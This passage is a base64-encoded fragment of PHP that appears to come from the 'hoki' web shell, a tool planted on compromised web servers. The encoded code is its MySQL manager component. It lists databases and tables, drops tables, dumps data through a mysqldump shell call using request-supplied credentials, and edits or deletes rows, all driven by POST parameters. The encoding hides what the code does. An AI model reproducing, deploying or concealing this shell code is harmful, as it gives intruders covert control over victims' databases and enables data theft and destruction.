48L2E+PC9kaXY+PHVsIHN0eWxlPSdtYXJnaW4tdG9wOiAyOHB4Oyc+IjsKZm9yZWFjaCAoJGRhdGFiYXNlX2xpc3QgYXMgJGRiX25hbWUpIHsKCWVjaG8gJzxsaT48ZGl2IGNsYXNzPSJibG9jayI+PGk+PC9pPjxiPjwvYj48YSBzcWxfY291bnQ9I
icuKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPyJmYWxzZSI6InRydWUiKS4nIiBkYl90YXJnZXQ9IicuJGRiX25hbWUuJyIgb25jbGljaz0iaG9raU15c3FsRXhwYW5kZXIodGhpcyk7IiBjbGFzcz0iZXhwYW5kZXIgY2xzLScuJGRiX25hbWUu
Jy1leHBhbmRlciBkYi1vcHQtaWQiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiPjxpbWcgc3JjPSJodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGE
tcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmcnLigkZGJfbmFtZSA9PSAkX1BPU1RbJ3NxbF9iYXNlJ10/InBuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS
1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nIjoicG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ
2VfNjYzNzE1OS5wbmciKS4nIiB0aXRsZT0iRXhwYW5kL0NvbGxhcHNlIiBhbHQ9IkV4cGFuZC9Db2xsYXBzZSI+PC9hPjwvZGl2PjxzcGFuIGNsYXNzPSJkYl9uYW1lIj4nLiRkYl9uYW1lLic8L3NwYW4+PGRpdiBjbGFzcz0iY2xlYXJmbG9hdCI+
PC9kaXY+PGRpdiBkYl9uYW1lPSInLiRkYl9uYW1lLiciIG1vZGU9IicuKCRkYl9uYW1lID09ICRfUE9TVFsnc3FsX2Jhc2UnXT8ibG9hZGVkIjoibm8iKS4nIiBjbGFzcz0ibGlzdF9jb250YWluZXIgY2xzLScuJGRiX25hbWUuJyI+PGRpdj4nOwo
JaWYoJGRiX25hbWUgPT0gJF9QT1NUWydzcWxfYmFzZSddKXsKCQkkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7CgkJJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7CgkJZWNobyAnPHVsPjxsaT48ZGl2IGNsYXNzPSJibG9jay
I+PGk+PC9pPjxiPjwvYj48L2Rpdj48ZGl2PjxpbnB1dCBzdHlsZT0icGFkZGluZzogMDttYXJnaW4tbGVmdDogMTFweDt0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIGNsYXNzPSJkYi1vcHQtaWQiIHRhcmdldD0iLmNscy0nLiRkYl9uY
W1lLiciIHBsYWNlaG9sZGVyPSJGaWx0ZXIgVGFibGUiIG9ua2V5dXA9Imhva2lNeXNxbEZpbHRlclRhYmxlKHRoaXMpOyIgbmFtZT0iZmlsdGVyIj48L2Rpdj48L2xpPic7CgkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCR0YmxzX3JlcykpewoJ
CWxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOwoJCWlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKSkKCQkkbiA9ICRkYi0+ZmV0Y2goJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSBgJy4kdmFsdWUuJ2AnKSk
7CgkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpOwoJCWVjaG8gIjxsaT48ZGl2IGNsYXNzPSdibG9jayc+PGk+PC9pPjxiPjwvYj48L2Rpdj48ZGl2IGNsYXNzPSd0YWJsZXMtcm93Jz48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbW
U9J3RibFtdJyB2YWx1ZT0nIi4kdmFsdWUuIic+Jm5ic3A7PGEgY2xhc3M9J2RiLW9wdC1pZCcgZGJfdGFyZ2V0PSciLiRkYl9uYW1lLiInIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9XCJob2tpTG9hZFRhYmxlRGF0YSh0aGlzL
CciLiR2YWx1ZS4iJylcIj48c3BhbiBjbGFzcz0nbXlzcWxfdGFibGVzJyBzdHlsZT0nZm9udC13ZWlnaHQ6dW5zZXQ7Jz4iLiR2YWx1ZS4iPC9zcGFuPjwvYT4iIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycmbmJzcDsnOiIgPHNtYWxs
PjxzcGFuIHN0eWxlPSdmb250LXdlaWdodDp1bnNldDsnIGNsYXNzPSdteXNxbF90YWJsZV9jb3VudCc+KHskblsnbiddfSk8L3NwYW4+PC9zbWFsbD4iKSAuICI8L2Rpdj48L2xpPiI7CgkJfQoJCWVjaG8gJzwvdWw+PGRpdiBzdHlsZT0ibWFyZ2l
uLWxlZnQ6IDI2cHg7bWFyZ2luLWJvdHRvbTogMTBweDttYXJnaW4tdG9wOiAxMHB4OyI+PGlucHV0IG9uY2hhbmdlPSJob2tpTXlzcWxUYWJsZXNFdmlsKHRoaXMpOyIgY2xhc3M9ImRiLW9wdC1pZCIgdGFyZ2V0PSIuY2xzLScuJGRiX25hbWUuJy
IgdHlwZT0iY2hlY2tib3giIGNsYXNzPSJkYi1vcHQtaWQiPjxzZWxlY3Qgb25jaGFuZ2U9Imhva2lNeXNxbFRhYmxlc0R1bXBEcm9wKHRoaXMpOyIgY2xhc3M9ImRiLW9wdC1pZCIgdGFyZ2V0PSIuY2xzLScuJGRiX25hbWUuJyIgY2xhc3M9ImRiL
W9wdC1pZCIgbmFtZT0idGFibGVzX2V2aWwiIHN0eWxlPSJwYWRkaW5nOiAwO3dpZHRoOiAxMDBweDsiPjxvcHRpb24gc2VsZWN0ZWQ+ZHJvcDwvb3B0aW9uPjxvcHRpb24+ZHVtcDwvb3B0aW9uPjwvc2VsZWN0PiA8YnV0dG9uIG9uY2xpY2s9Imhv
a2lNeXNxbFRhYmxlc0R1bXBEcm9wQnRuKHRoaXMpO3JldHVybiBmYWxzZTsiIGNsYXNzPSJkYi1vcHQtaWQiIGRiX3RhcmdldD0iJy4kZGJfbmFtZS4nIiB0YXJnZXQ9Ii5jbHMtJy4kZGJfbmFtZS4nIiBjbGFzcz0iZGItb3B0LWlkIj5EbyBpdDw
vYnV0dG9uPjxkaXYgY2xhc3M9ImR1bXAtZmlsZS1ob2xkZXIiIHN0eWxlPSJkaXNwbGF5Om5vbmU7bWFyZ2luLWxlZnQ6MjBweDttYXJnaW4tdG9wOiA1cHg7Ij48aW5wdXQgc3R5bGU9InBhZGRpbmc6IDA7dGV4dC1hbGlnbjpjZW50ZXI7IiB0eX
BlPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iZHVtcC5zcWwiIG5hbWU9ImR1bXBfZmlsZSI+PC9kaXY+PC9kaXY+JzsKCX0KCWVjaG8gIjwvZGl2PjwvbGk+IjsKfQplY2hvICI8L3VsPjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LXJlc3VsdHMnP
jxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LXJlc3VsdC10YWJzJz48ZGl2IGNsYXNzPSdkYi1vcHQtaWQgbXlzcWwtcXVlcnktc2VsZWN0ZWQtdGFiJyB0YXJnZXQ9Jy5teXNxbC1xdWVyeS1yZXN1bHQtY29udGVudCcgb25jbGljaz0naG9raU15c3Fs
VGFiQ3RsKHRoaXMpOyc+UmVzdWx0PC9kaXY+PGRpdiBjbGFzcz0nZGItb3B0LWlkJyB0YXJnZXQ9Jy5teXNxbC1xdWVyeS1mb3JtJyBvbmNsaWNrPSdob2tpTXlzcWxUYWJDdGwodGhpcyk7Jz5RdWVyeTwvZGl2PjxkaXYgY2xhc3M9J2RiLW9wdC1
pZCcgdGFyZ2V0PScubXlzcWwtc2VhcmNoLWFyZWEnIG9uY2xpY2s9J2hva2lNeXNxbFRhYkN0bCh0aGlzKTsnPlNlYXJjaDwvZGl2PjxkaXYgY2xhc3M9J2RiLW9wdC1pZCcgdGFyZ2V0PScubXlzcWwtc3RydWN0dXJlJyBvbmNsaWNrPSdob2tpTX
lzcWxUYWJDdGwodGhpcyk7Jz5TdHJ1Y3R1cmU8L2Rpdj48ZGl2IGNsYXNzPSdkYi1vcHQtaWQnIHRhcmdldD0nLm15c3FsLWluc2VydC1yb3cnIG9uY2xpY2s9J2hva2lNeXNxbFRhYkN0bCh0aGlzKTsnPkluc2VydDwvZGl2PjxkaXYgc3R5bGU9J
2Rpc3BsYXk6bm9uZTsnIGNsYXNzPSdkYi1vcHQtaWQnIHRhcmdldD0nLm15c3FsLWVkaXQtcm93JyBvbmNsaWNrPSdob2tpTXlzcWxUYWJDdGwodGhpcyk7Jz5FZGl0PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtcXVlcnktY29udGVudCBt
eXNxbC1pbnNlcnQtcm93IG15c3FsLWhpZGUtY29udGVudCc+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtcXVlcnktY29udGVudCBteXNxbC1lZGl0LXJvdyBteXNxbC1oaWRlLWNvbnRlbnQnPjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LWN
vbnRlbnQgbXlzcWwtc2VhcmNoLWFyZWEgbXlzcWwtaGlkZS1jb250ZW50Jz48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1jb250ZW50IG15c3FsLXN0cnVjdHVyZSBteXNxbC1oaWRlLWNvbnRlbnQnPjwvZGl2PjxkaXYgY2xhc3M9J215c3
FsLXF1ZXJ5LWNvbnRlbnQgbXlzcWwtcXVlcnktZm9ybSBteXNxbC1oaWRlLWNvbnRlbnQnPjxkaXYgc3R5bGU9J21hcmdpbi1ib3R0b206IDVweDsnPjxzcGFuPlF1ZXJ5Ojwvc3Bhbj48L2Rpdj48dGV4dGFyZWEgbmFtZT0ncXVlcnknIHN0eWxlP
Sd3aWR0aDo5MCU7aGVpZ2h0OjEwMHB4Jz48L3RleHRhcmVhPjxwPjxkaXYgc3R5bGU9J2Zsb2F0OmxlZnQ7bWFyZ2luLWxlZnQ6IDMwcHg7Jz48aW5wdXQgY2xhc3M9J2J1dHRvbiBkYi1vcHQtaWQnIGRiX3RhcmdldD0nIi4kX1BPU1RbJ3NxbF9i
YXNlJ10uIicgb25jbGljaz0naG9raU15c3FsUXVlcnkodGhpcyk7cmV0dXJuIGZhbHNlOycgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9kaXY+PC9wPjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LWNvbnRlbnQgbXlzcWwtcXVlcnktcmV
zdWx0LWNvbnRlbnQnPjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LXJlc3VsdC1oZWFkZXInPjxkaXYgc3R5bGU9J21hcmdpbi1ib3R0b206IDEwcHg7JyBjbGFzcz0nbXlzcWwtcXVlcnktcmVwb3J0ZXInPjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLX
F1ZXJ5LXBhZ2VyJz48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS10YWJsZSc+PC9kaXY+PC9kaXY+PC9mb3JtPjwvdGQ+PC90cj4iOwp9CmVjaG8gIjwvdGFibGU+PC9kaXY+IjsKZWNobyAiPC9kaXY+IjsKfWVsc2V7CmVjaG8ga
HRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpOwp9CmVjaG8gJzwvZGl2Pic7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBob2tpU3FsX21hbmFnZXJfYXBpKCl7CgkkZGIgPSAkX1BPU1RbImhva2kxIl07CgkkdHlwZSA9ICRfUE9TVFsiaG9r
aTIiXTsKCSRzcWxfY291bnQgPSAkX1BPU1RbImhva2kzIl0gPT0gInRydWUiID8gdHJ1ZSA6IGZhbHNlOwoJJGRiID0gQGpzb25fZGVjb2RlKCRkYiwgdHJ1ZSk7CgkkY29ubiA9IEBteXNxbGlfY29ubmVjdCgkZGJbImhvc3QiXSwgJGRiWyJ1c2V
yIl0sICRkYlsicGFzcyJdLCAkZGJbImRiIl0pOwoJQG15c3FsaV9zZXRfY2hhcnNldCgkY29ubiwgInV0ZjgiKTsKCWlmKCRjb25uKXsKCQlpZigkdHlwZSA9PSAibG9hZF9hbGxfdGFibGVzIil7CgkJCSR0YWJsZXMgPSBhcnJheSgpOwoJCQkkcV
90YWJsZXMgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiU0VMRUNUIGB0YWJsZV9zY2hlbWFgLCBgdGFibGVfbmFtZWAgRlJPTSBgaW5mb3JtYXRpb25fc2NoZW1hYC5gdGFibGVzYCBXSEVSRSBgdGFibGVfc2NoZW1hYCBJTiAoJyIuaW1wbG9kZSgiJ
ywnIiwgJGRiWyJkYXRhYmFzZXMiXSkuIicpOyIpOwoJCQkkY291bnQgPSAwOwoJCQl3aGlsZSgkcm93ID0gQG15c3FsaV9mZXRjaF9hc3NvYygkcV90YWJsZXMpKXsKCQkJCWlmKCRzcWxfY291bnQpewoJCQkJCSRjb3VudF9xID0gQG15c3FsaV9x
dWVyeSgkY29ubiwgJ1NFTEVDVCBDT1VOVCgqKSBGUk9NIGAnLiRyb3dbInRhYmxlX3NjaGVtYSJdLidgLmAnLiRyb3dbInRhYmxlX25hbWUiXS4nYCcpOwoJCQkJCWlmKCRjb3VudF9xKXsKCQkJCQkJJGNvdW50ID0gQG15c3FsaV9mZXRjaF9yb3c
oJGNvdW50X3EpOwoJCQkJCQkkY291bnQgPSAkY291bnRbMF07CgkJCQkJfQoJCQkJfQoJCQkJJHRhYmxlc1skcm93WyJ0YWJsZV9zY2hlbWEiXV1bXSA9IGFycmF5KCJuYW1lIiA9PiAkcm93WyJ0YWJsZV9uYW1lIl0sICJjb3VudCIgPT4gKGludC
kkY291bnQpOwoJCQl9CgkJCWZvcmVhY2goJGRiWyJkYXRhYmFzZXMiXSBhcyAkZGIpewoJCQkJaWYoIWlzc2V0KCR0YWJsZXNbJGRiXSkpewoJCQkJCSR0YWJsZXNbJGRiXSA9IG51bGw7CgkJCQl9CgkJCX0KCQkJZWNobyBAanNvbl9lbmNvZGUoJ
HRhYmxlcyk7CgkJfWVsc2VpZigkdHlwZSA9PSAiZHVtcF9kcm9wIil7CgkJCWlmKCRkYlsibW9kZSJdID09ICJkcm9wIil7CgkJCQlmb3JlYWNoICgkZGJbInRhYmxlcyJdIGFzICR0YWJsZSkgewoJCQkJCUBteXNxbGlfcXVlcnkoJGNvbm4sICJE
Uk9QIFRBQkxFIGAiLiR0YWJsZS4iYDsiKTsKCQkJCX0KCQkJCSR0YWJsZXMgPSBhcnJheSgpOwoJCQkJJHFfdGFibGVzID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNIT1cgVEFCTEVTOyIpOwoJCQkJJGNvdW50ID0gMDsKCQkJCXdoaWxlKCRyb3c
gPSBAbXlzcWxpX2ZldGNoX2FycmF5KCRxX3RhYmxlcykpewoJCQkJCWlmKCRzcWxfY291bnQpewoJCQkJCQkkY291bnRfcSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICdTRUxFQ1QgQ09VTlQoKikgRlJPTSBgJy4kcm93WzBdLidgJyk7CgkJCQkJCW
lmKCRjb3VudF9xKXsKCQkJCQkJCSRjb3VudCA9IEBteXNxbGlfZmV0Y2hfcm93KCRjb3VudF9xKTsKCQkJCQkJCSRjb3VudCA9ICRjb3VudFswXTsKCQkJCQkJfQoJCQkJCX0KCQkJCQkkdGFibGVzW10gPSBhcnJheSgibmFtZSIgPT4gJHJvd1swX
SwgImNvdW50IiA9PiAoaW50KSRjb3VudCk7CgkJCQl9CgkJCQllY2hvIEBqc29uX2VuY29kZSgkdGFibGVzKTsKCQkJfWVsc2V7CgkJCQlpZihzdHJsZW4oaG9raUV4KCJteXNxbGR1bXAiKSk+MCl7CgkJCQkJaG9raUV4KCJteXNxbGR1bXAgLS1z
aW5nbGUtdHJhbnNhY3Rpb24gLS1ob3N0PVwiIi4kZGJbImhvc3QiXS4iXCIgLS11c2VyPVwiIi4kZGJbInVzZXIiXS4iXCIgLS1wYXNzd29yZD1cIiIuJGRiWyJwYXNzIl0uIlwiICIuJGRiWyJkYiJdLiIgIi5pbXBsb2RlKCIgIiwgJGRiWyJ0YWJ
sZXMiXSkuIiAgPiAiLiRkYlsiZHVtcF9maWxlIl0pOwoJCQkJfWVsc2V7CgkJCQkJJGZwID0gQGZvcGVuKCRkYlsiZHVtcF9maWxlIl0sICJ3Iik7CgkJCQkJZm9yZWFjaCAoJGRiWyJ0YWJsZXMiXSBhcyAkdGFibGUpIHsKCQkJCQkJJHJlcyA9IE
BteXNxbGlfcXVlcnkoJGNvbm4sICdTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsKCQkJCQkJJGNyZWF0ZSA9IEBteXNxbGlfZmV0Y2hfYXJyYXkoJHJlcyk7CgkJCQkJCSRzcWwgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYCIuJHRhY
mxlLiJgO1xuIiAuICRjcmVhdGVbMV0uIjtcbiI7CgkJCQkJCWlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsKCQkJCQkJJHRibF9kYXRhID0gQG15c3FsaV9xdWVyeSgkY29ubiwgJ1NFTEVDVCAqIEZST00gYCcuJHRh
YmxlLidgJyk7CgkJCQkJCSRoZWFkID0gdHJ1ZTsKCQkJCQkJd2hpbGUoJGl0ZW0gPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCR0YmxfZGF0YSkpewoJCQkJCQkJJGNvbHVtbnMgPSBhcnJheSgpOwoJCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHY
pIHsKCQkJCQkJCWlmKCR2ID09IG51bGwpCgkJCQkJCQkkaXRlbVska10gPSAiJyciOwoJCQkJCQkJZWxzZWlmKGlzX251bWVyaWMoJHYpKQoJCQkJCQkJJGl0ZW1bJGtdID0gJHY7CgkJCQkJCQllbHNlCgkJCQkJCQkkaXRlbVska10gPSAiJyIuQG
15c3FsaV9yZWFsX2VzY2FwZV9zdHJpbmcoJGNvbm4sICR2KS4iJyI7CgkJCQkJCQkkY29sdW1uc1tdID0gImAiLiRrLiJgIjsKCQkJCQkJCX0KCQkJCQkJCWlmKCRoZWFkKSB7CgkJCQkJCQkkc3FsID0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nY
CAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4iKSBWQUxVRVMgXG5cdCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsKCQkJCQkJCSRoZWFkID0gZmFsc2U7CgkJCQkJCQl9IGVsc2UKCQkJCQkJCSRzcWwgPSAiXG5cdCwoIi5pbXBsb2RlKCIs
ICIsICRpdGVtKS4nKSc7CgkJCQkJCQlpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7CgkJCQkJCX0KCQkJCQkJaWYoISRoZWFkKQoJCQkJCQkJaWYoJGZwKSBmd3JpdGUoJGZwLCAiO1xuXG4iKTsgZWxzZSBlY2hvKCI
7XG5cbiIpOwoJCQkJCX0KCQkJCX0KCQkJCWVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+IHRydWUsICJmaWxlIiA9PiAkZGJbImR1bXBfZmlsZSJdKSk7CgkJCX0KCQl9ZWxzZWlmKCR0eXBlID09ICJsb2FkX3RhYmxlcyIpewoJCQ
kkdGFibGVzID0gYXJyYXkoKTsKCQkJJHFfdGFibGVzID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNIT1cgVEFCTEVTOyIpOwoJCQkkY291bnQgPSAwOwoJCQl3aGlsZSgkcm93ID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcV90YWJsZXMpKXsKCQkJC
WlmKCRzcWxfY291bnQpewoJCQkJCSRjb3VudF9xID0gQG15c3FsaV9xdWVyeSgkY29ubiwgJ1NFTEVDVCBDT1VOVCgqKSBGUk9NIGAnLiRyb3dbMF0uJ2AnKTsKCQkJCQlpZigkY291bnRfcSl7CgkJCQkJCSRjb3VudCA9IEBteXNxbGlfZmV0Y2hf
cm93KCRjb3VudF9xKTsKCQkJCQkJJGNvdW50ID0gJGNvdW50WzBdOwoJCQkJCX0KCQkJCX0KCQkJCSR0YWJsZXNbXSA9IGFycmF5KCJuYW1lIiA9PiAkcm93WzBdLCAiY291bnQiID0+IChpbnQpJGNvdW50KTsKCQkJfQoJCQllY2hvIEBqc29uX2V
uY29kZSgkdGFibGVzKTsKCQl9ZWxzZWlmKCR0eXBlID09ICJhbHRlciIpewoJCQkkZGJbImFsdGVyIl1bInR5cGUiXSA9IHN0cnRvbG93ZXIoJGRiWyJhbHRlciJdWyJ0eXBlIl0pOwoJCQkkaW5wdXRzID0gJGRiWyJhbHRlciJdWyJ0eXBlIl0uIi
giLiRkYlsiYWx0ZXIiXVsiaW5wdXQiXS4iKSI7CgkJCSR0ZXh0X2lucHV0ID0gYXJyYXkoImxvbmd0ZXh0IiwgInRleHQiLCAibWVkaXVtdGV4dCIsICJ0aW55dGV4dCIpOwoJCQlpZihpbl9hcnJheSgkZGJbImFsdGVyIl1bInR5cGUiXSwgJHRle
HRfaW5wdXQpKXsKCQkJCSRpbnB1dHMgPSAkZGJbImFsdGVyIl1bInR5cGUiXTsKCQkJfQoJCQlAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiQUxURVIgVEFCTEUgYCIuJGRiWyJ0YWJsZSJdLiJgIE1PRElGWSBDT0xVTU4gYCIuJGRiWyJjb2x1bW4iXS4i
YCAiIC4gJGlucHV0cyk7CgkJCSRlcnJvciA9IEBteXNxbGlfZXJyb3IoJGNvbm4pOwoJCQlpZigkZXJyb3IpewoJCQkJZWNobyAkZXJyb3I7CgkJCX1lbHNlewoJCQkJZWNobyAib2siOwoJCQl9CgkJfWVsc2VpZigkdHlwZSA9PSAiZWRpdCIgfHw
gJHR5cGUgPT0gImRlbGV0ZSIgfHwgJHR5cGUgPT0gImRlbGV0ZV9hbGwiKXsKCQkJaWYoJHR5cGUgPT0gImVkaXQiKXsKCQkJCSRxID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNFTEVDVCAqIEZST00gYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidG
FibGUiXS4iYCBXSEVSRSBgIi4kZGJbImNvbF9rZXkiXS4iYCA9ICciLmFkZHNsYXNoZXMoJGRiWyJrZXkiXSkuIicgTElNSVQgMCwxIik7CgkJCQkkcm93ID0gQG15c3FsaV9mZXRjaF9hc3NvYygkcSk7CgkJCQlpZigkcm93KXsKCQkJCQkkY29sd
W1uc19xdWVyeSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICJTRUxFQ1QgQ09MVU1OX05BTUUgYXMgbmFtZSwgQ09MVU1OX1RZUEUsIERBVEFfVFlQRSBhcyB0eXBlIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgYFRBQkxFX1ND
SEVNQWAgPSAnIi4kZGJbImRiIl0uIicgQU5EIGBUQUJMRV9OQU1FYCA9ICciLiRkYlsidGFibGUiXS4iJyIpOwoJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsKCQkJCQkkZWRpdF9kYXRhID0gYXJyYXkoKTsKCQkJCQl3aGlsZSgkcm93MiA9IEBteXN
xbGlfZmV0Y2hfYXJyYXkoJGNvbHVtbnNfcXVlcnksIE1ZU1FMSV9BU1NPQykpewoJCQkJCQkkaW5wdXQgPSBhcnJheSgiY29sX3R5cGUiID0+ICRyb3cyWyJDT0xVTU5fVFlQRSJdKTsKCQkJCQkJJHJvdzJbInR5cGUiXSA9IHN0cnRvbG93ZXIoJH
JvdzJbInR5cGUiXSk7CgkJCQkJCXN3aXRjaCgkcm93MlsidHlwZSJdKXsKCQkJCQkJCWNhc2UgImxvbmd0ZXh0IjogY2FzZSAidGV4dCI6IGNhc2UgIm1lZGl1bXRleHQiOiBjYXNlICJ0aW55dGV4dCI6CgkJCQkJCQkJJGlucHV0WyJ0YWciXSA9I
CJ0ZXh0YXJlYSI7CgkJCQkJCQlicmVhazsKCQkJCQkJCWNhc2UgImludCI6IGNhc2UgInNtYWxsaW50IjogY2FzZSAiYmlnaW50IjogY2FzZSAidGlueWludCI6IGNhc2UgIm1lZGl1bWludCI6CgkJCQkJCQkJJGlucHV0WyJ0YWciXSA9ICJpbnB1
dCI7CgkJCQkJCQkJJGlucHV0WyJ0eXBlIl0gPSAibnVtYmVyIjsKCQkJCQkJCWJyZWFrOwoJCQkJCQkJZGVmYXVsdDoKCQkJCQkJCQkkaW5wdXRbInRhZyJdID0gImlucHV0IjsKCQkJCQkJCQkkaW5wdXRbInR5cGUiXSA9ICJ0ZXh0IjsKCQkJCQk
JfQoJCQkJCQkkY29sdW1uc1skcm93MlsibmFtZSJdXSA9ICRpbnB1dDsKCQkJCQl9CgkJCQkJZm9yZWFjaCgkcm93IGFzICRrZXkgPT4gJHYpewoJCQkJCQkkZWRpdF9kYXRhW10gPSBhcnJheSgiY29sIiA9PiAka2V5LCAidmFsdWUiID0+IGh0bW
xzcGVjaWFsY2hhcnMoJHYsIEVOVF9RVU9URVMsICdVVEYtOCcpLCAidHlwZSIgPT4gJGNvbHVtbnNbJGtleV0pOwoJCQkJCX0KCQkJCQllY2hvIEBqc29uX2VuY29kZSgkZWRpdF9kYXRhKTsKCQkJCX0KCQkJfWVsc2V7CgkJCQlpZigkdHlwZSA9P
SAiZGVsZXRlX2FsbCIpewoJCQkJCSRyb3dzID0gaW1wbG9kZSgiJywgJyIsICRkYlsicm93cyJdKTsKCQkJCX1lbHNlewoJCQkJCSRyb3dzID0gYWRkc2xhc2hlcygkZGJbImtleSJdKTsKCQkJCX0KCQkJCSRxdWVyeSA9ICJERUxFVEUgRlJPTSBg
Ii4kZGJbImRiIl0uImAuYCIuJGRiWyJ0YWJsZSJdLiJgIFdIRVJFIGAiLiRkYlsiY29sX2tleSJdLiJgIElOICgnIi4kcm93cy4iJykiOwoJCQkJQG15c3FsaV9xdWVyeSgkY29ubiwgJHF1ZXJ5KTsKCQkJCSRlcnJvciA9IEBteXNxbGlfZXJyb3I
oJGNvbm4pOwoJCQkJaWYoJGVycm9yKXsKCQkJCSAJJHN0YXR1cyA9IGZhbHNlOwoJCQkJfWVsc2V7CgkJCQkgCSRzdGF0dXMgPSB0cnVlOwoJCQkJfQoJCQkJZWNobyBAanNvbl9lbmNvZGUoYXJyYXkoInN0YXR1cyIgPT4gJHN0YXR1cywgImVycm
9yIiA9PiAkZXJyb3IsICJxdWVyeSIgPT4gJHF1ZXJ5KSk7CgkJCX0KCQl9ZWxzZWlmKCR0eXBlID09ICJ1cGRhdGUiKXsKCQkJJHF1ZXJ5ID0gIlVQREFURSBgIi4kZGJbImRiIl0uImAuYCIuJGRiWyJ0YWJsZSJdLiJgIFNFVCAiOwoJCQlmb3JlY
WNoKCRkYlsiZGF0YSJdIGFzICRjb2wgPT4gJHZhbCl7CgkJCQkkcXVlcnkgLj0gImAiLiRjb2wuImAgPSAnIi5teXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCRjb25uLCAkdmFsKS4iJywiOwoJCQl9CgkJCSRxdWVyeSA9IHN1YnN0cigkcXVlcnks
IDAsIC0xKTsKCQkgICAgJHF1ZXJ5IC49ICJXSEVSRSBgIi4kZGJbImNvbF9rZXkiXS4iYCA9ICciLiRkYlsia2V5Il0uIiciOwoJCQkkcmVzID0gQG15c3FsaV9xdWVyeSgkY29ubiwgJHF1ZXJ5KTsKCQkJZWNobyBAanNvbl9lbmNvZGUoYXJyYXk
oInN0YXR1cyIgPT4gJHJlcywgImVycm9yIiA9PiBAbXlzcWxpX2Vycm9yKCRjb25uKSkpOwoJCX1lbHNlaWYoJHR5cGUgPT0gImluc2VydCIpewoJCQkkcXVlcnkgPSAiSU5TRVJUIElOVE8gYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS
4iYCAiOwoJCQlmb3JlYWNoKCRkYlsiZGF0YSJdIGFzICRjb2wgPT4gJHZhbCl7CgkJCQkkY29scyAuPSAkY29sIC4gIiwiOwoJCQkJJHZhbHMgLj0gIiciLm15c3FsaV9yZWFsX2VzY2FwZV9zdHJpbmcoJGNvbm4sICR2YWwpLiInLCI7CgkJCX0KC
QkJJGNvbHMgPSBzdWJzdHIoJGNvbHMsIDAsIC0xKTsKCQkJJHZhbHMgPSBzdWJzdHIoJHZhbHMsIDAsIC0xKTsKCQkJJHF1ZXJ5ID0gJHF1ZXJ5IC4gIigiIC4gJGNvbHMgLiAiKSIgLiAiVkFMVUVTKCIgLiAkdmFscyAuICIpIjsKCQkJJHJlcyA9
